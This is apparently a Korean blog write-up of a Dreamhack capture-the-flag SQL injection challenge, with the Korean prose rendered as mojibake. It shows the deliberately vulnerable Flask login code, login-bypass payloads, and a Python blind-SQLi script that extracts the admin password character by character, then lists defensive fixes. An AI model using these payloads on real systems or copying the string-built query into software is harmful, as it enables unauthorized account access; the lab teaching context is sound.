๐๏ธAccess
๋ก๊ทธ์ธ ์๋น์ค์์ SQL injection ์ทจ์ฝ์ ์ ํตํด ํ๋๊ทธ๋ฅผ ํ๋ํ๋ ๋ฌธ์ ์ด๋ค.
ํ๋๊ทธ๋ flag.txt, FLAG ๋ณ์์ ์๋ค.
๐พExploit Algorithm & Payload
#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
db = sqlite3.connect(DATABASE)
db.execute('create table users(userid char(100), userpassword char(100));')
db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
db.commit()
db.close()
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
def query_db(query, one=True):
cur = get_db().execute(query)
rv = cur.fetchall()
cur.close()
return (rv[0] if rv else None) if one else rv
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userid = request.form.get('userid')
userpassword = request.form.get('userpassword')
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
if res:
userid = res[0]
if userid == 'admin':
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
app.run(host='0.0.0.0', port=8000)
#1
: '/login' ํ์ด์ง์์ SQLi(SQL Injection) ๊ณต๊ฒฉ์ผ๋ก ํน์ ์ฌ์ฉ์(admin)๋ก ๋ก๊ทธ์ธํ์ฌ FLAG๋ฅผ ํ๋ํ๋ ๋ฌธ์ ์ธ ๊ฒ์ผ๋ก ์์๋๋ค.
#2
DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
db = sqlite3.connect(DATABASE)
db.execute('create table users(userid char(100), userpassword char(100));')
db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
db.commit()
db.close()
: ๊ณ์ ์ ๋๊ฐ์ง๊ฐ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
1. [userid:guest, userpassword:guest] ๋ผ๋ ์ฌ์ฉ์ ๊ณ์
2. [userid:admin, userpassword:{binascii.hexlify(os.urandom(16)).decode("utf8")}] ๋ผ๋ ๊ด๋ฆฌ์ ๊ณ์
(๋ก๊ทธ์ธ ์ FLAG๋ฅผ ํ๋ํ ์ ์๋ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.)
: admin ๊ณ์ ์ ๋น๋ฐ๋ฒํธ๋{binascii.hexlify(os.urandom(16)).decode("utf8")}๋ก 16๋ฐ์ดํธ ๋ฌธ์์ด์ ์์ฑํ ๋ค์ ํด๋น ์ด์ง ๋ฐ์ดํฐ๋ฅผ 16์ง์ ํํ์ผ๋ก ๋ณํํ๊ณ ๋ง์ง๋ง์ผ๋ก ํด๋น 16์ง์ ํํ์ UTF-8 ๋ฌธ์์ด๋ก ๋์ฝ๋ฉํ ๋น๋ฐ๋ฒํธ์์ ํ์ธํ ์ ์๋ค.
#์ ์ ๋ก๊ทธ์ธ
userid: guest
userpassword: guest
#๊ณ์ ์ userid๋ฅผ ์ ๋ ฅํ๊ณ ๋๋ธ์ฟผํฐ(")๋ฅผ ์ด์ฉํ์ฌ ์ฟผ๋ฆฌ๋ฌธ์ ๋ซ์ ํ ์ฃผ์์ฒ๋ฆฌ(--)
userid: guest" --
userpassword: 1
#๊ณ์ ์ userid๋ฅผ ์ ๋ ฅํ๊ณ ๋๋ธ์ฟผํฐ(")๋ฅผ ์ด์ฉํ์ฌ ์ฟผ๋ฆฌ๋ฌธ์ ๋ซ์ ํ and ์ฐ์ฐ์๋ฅผ ์ด์ฉํ์ฌ userpassword๋ฅผ ์ ๋ ฅํ๊ณ ์ฃผ์์ฒ๋ฆฌ(--). ์ฆ, userpassword ์ ๋ ฅ ์นธ์ ์ ๋ ฅ ์์ด ์๋ต์ ํ์ธ
userid: guest" and userpassword="guest" --
userpassword: 1
: guest ๊ณ์ ๋ก๊ทธ์ธ ์ ๋ค์ํ ์๋๋ฅผ ํด๋ณผ ์ ์๋ค.
: select * from users where userid="{userid}" and userpassword="{userpassword}"์ ํํ๋ก DB์์ ๊ณ์ ์ ํ์ธํ๋๋ฐ select * from users where userid="guest" --" and userpassword="{userpassword}" ์ด ๊ฐ์ ๋ค์๊ณผ ๊ฐ์ด ์ฝ์ ํ๊ฒ ๋๋ฉด ๋ค์ ํจ์ค์๋ ํ์ธ ๋ถ๋ถ์ด ์ฃผ์ ์ฒ๋ฆฌ๊ฐ ๋ผ๋ฒ๋ฆฐ๋ค.
: ๋ฐ๋ผ์ ์ฟผ๋ฆฌ๋ฌธ์ด ์ฐธ์ผ๋ก ๋์ํ์ฌ ๋ก๊ทธ์ธ ๋๋ ๊ฒ์ด๋ค.
#3
: ์ด๋ฅผ ํตํด admin ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธ ์๋ํ์ฌ FLAG๋ฅผ ํ๋ ํ ์ ์๋ค.
๐Analysis and results for obtaining the Flag DH{…}
[+] Additional Check
1.
import requests
import string
url = 'http://host3.dreamhack.games:9487/login' #URL cord
#'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
#string.ascii_letters + string.digits + string.punctuation
#abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
target_chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
confirmed_password = '' #End User Password
pwd_len = 0 #password len value
while(1):
payload = f'admin" and length(userpassword)={pwd_len} --'
data = {
'userid': payload,
'userpassword': ''
}
response = requests.post(url, data=data)
#print(f'len-> {pwd_len}')
if 'wrong' in response.text:
pwd_len +=1
else:
break
print(f'[*] pwd_len: {pwd_len}')
for i in range(1, pwd_len+1):
for c in target_chars:
payload = f'admin" and substr(userpassword, {i}, 1) = "{c}" --'
data = {
'userid': payload,
'userpassword': ''
}
#password injection ์ฑ๊ณต ์ผ์ด์ค ํ์ธ์ฉ
#print(f'case{i}: injection->{c}')
#url์ POST ์์ฒญ ๋ณด๋
response = requests.post(url, data=data)
#print(response.request.url)
#print(response.text)
#response ๊ฒฐ๊ณผ(์ฆ, ์์ฒญ์ ๋ณด๋ด๊ณ ์๋ต์ ๋ฐ์ ํ ์ฝ๋๋ ์๋ต ํ
์คํธ์ 'hello admin' ๋ฌธ์์ด์ด ์๋์ง ํ์ธ)
if 'hello admin' in response.text:
confirmed_password += c
#print(confirmed_password)
break
print(f"[*] admin password: {confirmed_password}") #admin password : 0ecca12d582cc4ad34673170d2872294
: "hello admin flag is DH{c1126c8d35d8deaa39c5dd6fc8855ed0}" ์ ํ์ธํ๋๋ฐ, ๊ด๋ฆฌ์ ๊ณ์ ์ ๋น๋ฐ๋ฒํธ๋ฅผ ์์๋ด๊ณ ์ถ์ด์ a-z, A-Z, 0-9์ ์กฐํฉ์ ์ด์ฉํด substr(userpassword,1,1) = "{ }" -- ์ค๊ดํธ ๋ถ๋ถ์ ๋น๋ฐ๋ฒํธ๋ก ์ถ์ ๋๋ ๊ฐ๋ค์ ๋ชจ์กฐ๋ฆฌ ์ฝ์ ํ๋ค.
: ๊ทธ ๊ฒฐ๊ณผ admin" and substr(userpassword,1,1)="0" -- 0์ ๊ฐ์์ ๋ค๋ฅธ ๋ฐ์๋ค(wrong)๊ณผ๋ ๋ค๋ฅธ ๋ฐ์(hello admin flag is DH{...})์ ํ์ธํ ์ ์์๋ค.
: ๋ฐ๋ผ์ python ๋ชจ๋์ ์ด์ฉํ์ฌ ๊ด๋ฆฌ์ ๊ณ์ ์ exploit ์ฝ๋๋ฅผ ์์ฑํ์ฌ ๊ด๋ฆฌ์ ๊ฒ์ ์ ๋ก๊ทธ์ธํ ์ ์์๋ค.
: ์ด์ธ์๋ ๋ค์ํ ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์์ฑํ ์ ์์ ๊ฒ์ผ๋ก ์์๋๋ค. (ascii(substr(userpassword,1,1))), ...)
2.
: curl ๋ช ๋ น์ ์ด์ฉํ์ฌ ์น ์ฌ์ดํธ๊ฐ ์๋์ง ํ์ธํ๊ณ ์น ์ฌ์ดํธ๋ฅผ ๋ถ์ํ์๋ค.
: burp suite ๋๊ตฌ๋ก POST ๋ฐฉ์์ผ๋ก ๋ก๊ทธ์ธ ํ์ด์ง๊ฐ ๋์ํ๋ค๋ ๊ฒ์ ํ์ ํ๊ณ sqlmap(์๋ํ ๋๊ตฌ)์ ์ด์ฉํ์ฌ DB connection์ ์๋ํ์๋ค.
: ํ์ง๋ง ๊ณ์ ์ ๊ฐ์ ์ป์ ์ ์์๋ค. (WAF์ ๊ฐ์ ์ผ๋ถ ์๋ฒ ์ธก ๋ณดํธ๊ฐ ์๋ค๋ ๊ฒ์ผ๋ก ์ง์ํ์๋ค.)
๐Summary
์ฌ์ฉ์ ์
๋ ฅ ๊ฐ์ ์คํ ์ฟผ๋ฆฌ๋ฌธ์ด ๋์๋ ๊ฒฝ์ฐ ๊ถํ ์์น ๋ฐ ํ์ทจ๊ฐ ๊ฐ๋ฅํจ
- SQL Injection์ทจ์ฝ์ ์ ๋์ ๋ฐฉ์ -
SQL๋ฌธ ๋ฐ์ดํฐ๋ฅผ ์ฒ๋ฆฌํ ๋ ์ฟผ๋ฆฌ๋ฌธ์ ์ง์ ์์ฑํ๋ Statement ๋ฐฉ์์ด ์๋ Prepared Statemen์ Object Relational Mapping(ORM)์ ์ด์ฉํ์ฌ ๋์ ์ฟผ๋ฆฌ๊ฐ ์ ๋ฌ๋๋ฉด ๋ด๋ถ์ ์ผ๋ก ์ฟผ๋ฆฌ ๋ถ์์ ์ํํด ์์ ํ ์ฟผ๋ฆฌ๋ฌธ์ด ๋์์ด ํ์
(๋จ, ์ด๋ฏธ ๊ธฐ์
์์ ๋ชจ๋ ํ์ด์ง๋ฅผ Statement๋ก ๋์ ํ์ด์ง๋ฅผ ์ฌ์ฉํ๊ณ ์์ด Prepared๋ฌธ์ ์ฌ์ฉํ ์ ์๊ฑฐ๋, ๊ฐ์ฉ์ฑ ๋ฌธ์ ๋ฅผ ์ผ์ผํฌ ์ ์์ ๊ฒฝ์ฐ ๋ค์ํ ๋์ฑ
์ด ํ์ํจ)
| ํ์ดํธ๋ฆฌ์คํธ ๋ฐฉ์ or ๋ธ๋๋ฆฌ์คํธ ๋ฐฉ์์ผ๋ก ๋ฌธ์์ด ์ ํจ์ฑ ๊ฒ์ฌ ๊ตฌํ |
์ด๋ฅผ ํตํด ์
์ฑ ์
๋ ฅ์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋๋ฌํ๊ธฐ ์ ์ ๊ฐ์งํ๊ณ ์ฐจ๋จ
(๊ฒ์ฆ ๋ฐ ํํฐ๋ง ๋ก์ง ๊ตฌํ)
| WAF ๊ตฌ์ถ |
์น ์ ํ๋ฆฌ์ผ์ด์
๋ฐฉํ๋ฒฝ์ ๊ตฌ์ถํ์ฌ ๋ค์ด์ค๋ ์์ฒญ ๊ฐ์ ๊ฒ์ฌํ๊ณ ํํฐ๋งํ์ฌ ์๋ ค์ง SQL ์ฃผ์
ํจํด๊ณผ ์์ฌ์ค๋ฌ์ด ํ๋์ ์ฐจ๋จ
| ์๋ฌ ๋ฉ์์ง ๋ฐ DBMS์์ ์ ๊ณตํ๋ ์๋ฌ ์ฝ๋๊ฐ ๋
ธ์ถ๋์ง ์๋๋ก ์์ธ์ฒ๋ฆฌ|
…
๋ค์ํ ์ฐํ ๊ธฐ๋ฒ์ ํ์ธํ์ฌ ์ํฉ์ ๋ง๋ ๋์ ๋ฐฉ์์ด ํ์ํจ
'[Dreamhack]WebHacking > ๋ก๋๋งต_Basic' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level1: command-injection-1 (0) | 2023.08.24 |
---|---|
[Dreamhack] Level2: Mango (0) | 2023.08.23 |
[Dreamhack] Level1: csrf-2 (0) | 2023.08.21 |
[Dreamhack] Level1: csrf-1 (0) | 2023.08.21 |
[Dreamhack] Level1: xss-2 (0) | 2023.08.19 |